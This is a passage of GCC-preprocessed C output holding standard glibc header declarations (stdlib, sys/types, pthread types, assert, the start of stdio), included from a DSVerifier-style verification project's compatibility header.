extern unsigned long int strtoul (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtouq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoll (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtoull (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 385 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern long int a64l (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
# 1 "/usr/include/x86_64-linux-gnu/sys/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef __int8_t __int_least8_t;
typedef __uint8_t __uint_least8_t;
typedef __int16_t __int_least16_t;
typedef __uint16_t __uint_least16_t;
typedef __int32_t __int_least32_t;
typedef __uint32_t __uint_least32_t;
typedef __int64_t __int_least64_t;
typedef __uint64_t __uint_least64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
typedef long int __intmax_t;
typedef unsigned long int __uintmax_t;
# 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4
# 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __fsword_t;
typedef long int __ssize_t;
typedef long int __syscall_slong_t;
typedef unsigned long int __syscall_ulong_t;
typedef __off64_t __loff_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
typedef int __sig_atomic_t;
# 30 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;
typedef __loff_t loff_t;
typedef __ino_t ino_t;
# 59 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __dev_t dev_t;
typedef __gid_t gid_t;
typedef __mode_t mode_t;
typedef __nlink_t nlink_t;
typedef __uid_t uid_t;
typedef __off_t off_t;
# 97 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __pid_t pid_t;
typedef __id_t id_t;
typedef __ssize_t ssize_t;
typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;
typedef __key_t key_t;
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h" 1 3 4
typedef __clock_t clock_t;
# 127 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h" 1 3 4
typedef __clockid_t clockid_t;
# 129 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/time_t.h" 1 3 4
typedef __time_t time_t;
# 130 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h" 1 3 4
typedef __timer_t timer_t;
# 131 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 144 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 145 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 3 4
typedef __int8_t int8_t;
typedef __int16_t int16_t;
typedef __int32_t int32_t;
typedef __int64_t int64_t;
# 156 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __uint8_t u_int8_t;
typedef __uint16_t u_int16_t;
typedef __uint32_t u_int32_t;
typedef __uint64_t u_int64_t;
typedef int register_t __attribute__ ((__mode__ (__word__)));
# 176 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 24 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endian.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endianness.h" 1 3 4
# 36 "/usr/include/x86_64-linux-gnu/bits/endian.h" 2 3 4
# 25 "/usr/include/endian.h" 2 3 4
# 35 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
static __inline __uint16_t
__bswap_16 (__uint16_t __bsx)
{
return __builtin_bswap16 (__bsx);
}
static __inline __uint32_t
__bswap_32 (__uint32_t __bsx)
{
return __builtin_bswap32 (__bsx);
}
# 69 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
__extension__ static __inline __uint64_t
__bswap_64 (__uint64_t __bsx)
{
return __builtin_bswap64 (__bsx);
}
# 36 "/usr/include/endian.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 1 3 4
# 32 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 3 4
static __inline __uint16_t
__uint16_identity (__uint16_t __x)
{
return __x;
}
static __inline __uint32_t
__uint32_identity (__uint32_t __x)
{
return __x;
}
static __inline __uint64_t
__uint64_identity (__uint64_t __x)
{
return __x;
}
# 37 "/usr/include/endian.h" 2 3 4
# 177 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/select.h" 1 3 4
# 30 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/select.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/select.h" 2 3 4
# 31 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h" 1 3 4
typedef struct
{
unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
} __sigset_t;
# 5 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 2 3 4
typedef __sigset_t sigset_t;
# 34 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h" 1 3 4
struct timeval
{
__time_t tv_sec;
__suseconds_t tv_usec;
};
# 38 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
struct timespec
{
__time_t tv_sec;
__syscall_slong_t tv_nsec;
# 26 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
};
# 40 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __suseconds_t suseconds_t;
typedef long int __fd_mask;
# 59 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
typedef struct
{
__fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];
} fd_set;
typedef __fd_mask fd_mask;
# 91 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 101 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout);
# 113 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int pselect (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask);
# 126 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 180 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __blksize_t blksize_t;
typedef __blkcnt_t blkcnt_t;
typedef __fsblkcnt_t fsblkcnt_t;
typedef __fsfilcnt_t fsfilcnt_t;
# 227 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 1 3 4
# 44 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 2 3 4
# 45 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
typedef struct __pthread_internal_list
{
struct __pthread_internal_list *__prev;
struct __pthread_internal_list *__next;
} __pthread_list_t;
typedef struct __pthread_internal_slist
{
struct __pthread_internal_slist *__next;
} __pthread_slist_t;
# 74 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
struct __pthread_mutex_s
{
int __lock;
unsigned int __count;
int __owner;
unsigned int __nusers;
int __kind;
short __spins;
short __elision;
__pthread_list_t __list;
# 53 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
};
# 75 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
# 87 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
struct __pthread_rwlock_arch_t
{
unsigned int __readers;
unsigned int __writers;
unsigned int __wrphase_futex;
unsigned int __writers_futex;
unsigned int __pad3;
unsigned int __pad4;
int __cur_writer;
int __shared;
signed char __rwelision;
unsigned char __pad1[7];
unsigned long int __pad2;
unsigned int __flags;
# 55 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
};
# 88 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
struct __pthread_cond_s
{
__extension__ union
{
__extension__ unsigned long long int __wseq;
struct
{
unsigned int __low;
unsigned int __high;
} __wseq32;
};
__extension__ union
{
__extension__ unsigned long long int __g1_start;
struct
{
unsigned int __low;
unsigned int __high;
} __g1_start32;
};
unsigned int __g_refs[2] ;
unsigned int __g_size[2];
unsigned int __g1_orig_size;
unsigned int __wrefs;
unsigned int __g_signals[2];
};
# 24 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 2 3 4
typedef unsigned long int pthread_t;
typedef union
{
char __size[4];
int __align;
} pthread_mutexattr_t;
typedef union
{
char __size[4];
int __align;
} pthread_condattr_t;
typedef unsigned int pthread_key_t;
typedef int pthread_once_t;
union pthread_attr_t
{
char __size[56];
long int __align;
};
typedef union pthread_attr_t pthread_attr_t;
typedef union
{
struct __pthread_mutex_s __data;
char __size[40];
long int __align;
} pthread_mutex_t;
typedef union
{
struct __pthread_cond_s __data;
char __size[48];
__extension__ long long int __align;
} pthread_cond_t;
typedef union
{
struct __pthread_rwlock_arch_t __data;
char __size[56];
long int __align;
} pthread_rwlock_t;
typedef union
{
char __size[8];
long int __align;
} pthread_rwlockattr_t;
typedef volatile int pthread_spinlock_t;
typedef union
{
char __size[32];
long int __align;
} pthread_barrier_t;
typedef union
{
char __size[4];
int __align;
} pthread_barrierattr_t;
# 228 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 395 "/usr/include/stdlib.h" 2 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern char *initstate (unsigned int __seed, char *__statebuf,
size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct random_data
{
int32_t *fptr;
int32_t *rptr;
int32_t *state;
int rand_type;
int rand_deg;
int rand_sep;
int32_t *end_ptr;
};
extern int random_r (struct random_data *__restrict __buf,
int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srandom_r (unsigned int __seed, struct random_data *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
size_t __statelen,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern int setstate_r (char *__restrict __statebuf,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));
extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct drand48_data
{
unsigned short int __x[3];
unsigned short int __old_x[3];
unsigned short int __c;
unsigned short int __init;
__extension__ unsigned long long int __a;
};
extern int drand48_r (struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int mrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int seed48_r (unsigned short int __seed16v[3],
struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lcong48_r (unsigned short int __param[7],
struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern void *calloc (size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (1, 2))) ;
extern void *realloc (void *__ptr, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)) __attribute__ ((__alloc_size__ (2)));
extern void *reallocarray (void *__ptr, size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__))
__attribute__ ((__alloc_size__ (2, 3)));
extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/alloca.h" 1 3 4
# 24 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 25 "/usr/include/alloca.h" 2 3 4
extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));
# 569 "/usr/include/stdlib.h" 2 3 4
extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern void *aligned_alloc (size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (2))) ;
extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int at_quick_exit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void quick_exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern char *getenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 647 "/usr/include/stdlib.h" 3 4
extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int setenv (const char *__name, const char *__value, int __replace)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int unsetenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 675 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 688 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __attribute__ ((__nonnull__ (1))) ;
# 710 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __attribute__ ((__nonnull__ (1))) ;
# 731 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 784 "/usr/include/stdlib.h" 3 4
extern int system (const char *__command) ;
# 800 "/usr/include/stdlib.h" 3 4
extern char *realpath (const char *__restrict __name,
char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) ;
typedef int (*__compar_fn_t) (const void *, const void *);
# 820 "/usr/include/stdlib.h" 3 4
extern void *bsearch (const void *__key, const void *__base,
size_t __nmemb, size_t __size, __compar_fn_t __compar)
__attribute__ ((__nonnull__ (1, 2, 5))) ;
extern void qsort (void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 840 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern long long int llabs (long long int __x)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern div_t div (int __numer, int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern ldiv_t ldiv (long int __numer, long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern lldiv_t lldiv (long long int __numer,
long long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
# 872 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *gcvt (double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern char *qecvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qfcvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qecvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int mblen (const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int mbtowc (wchar_t *__restrict __pwc,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__));
extern size_t mbstowcs (wchar_t *__restrict __pwcs,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern size_t wcstombs (char *__restrict __s,
const wchar_t *__restrict __pwcs, size_t __n)
__attribute__ ((__nothrow__ , __leaf__));
extern int rpmatch (const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 957 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
char *const *__restrict __tokens,
char **__restrict __valuep)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) ;
# 1003 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 1013 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h" 1 3 4
# 1014 "/usr/include/stdlib.h" 2 3 4
# 1023 "/usr/include/stdlib.h" 3 4
# 18 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 66 "/usr/include/assert.h" 3 4
extern void __assert_fail (const char *__assertion, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert_perror_fail (int __errnum, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert (const char *__assertion, const char *__file, int __line)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 27 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 28 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 34 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 37 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4
# 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
# 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4
typedef struct _G_fpos_t
{
__off_t __pos;
__mbstate_t __state;
} __fpos_t;
# 40 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4
typedef struct _G_fpos64_t
{
__off64_t __pos;
__mbstate_t __state;
} __fpos64_t;
# 41 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE __FILE;
# 42 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 43 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4
struct _IO_FILE;
